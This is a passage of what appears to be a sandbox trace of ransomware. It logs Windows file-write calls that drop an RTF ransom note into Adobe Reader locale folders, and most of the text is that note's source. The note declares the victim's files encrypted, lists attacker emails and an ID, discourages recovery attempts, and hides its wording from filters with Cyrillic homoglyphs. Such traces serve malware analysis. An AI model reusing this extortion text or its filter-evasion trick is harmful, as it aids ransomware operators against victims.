fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x0f\x05\x0e\x8d\x1d¡øý\x03ø×=\n?\x06û\x1d÷A÷C÷+\x05Ø\\\x1dûN1\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0041.890] WriteFile (in: hFile=0x168, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0041.891] CloseHandle (hObject=0x168) returned 1 [0041.891] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\!bwng_info!.rtf")) returned 0xffffffff [0041.892] GetLastError () returned 0x2 [0041.892] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0041.892] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur 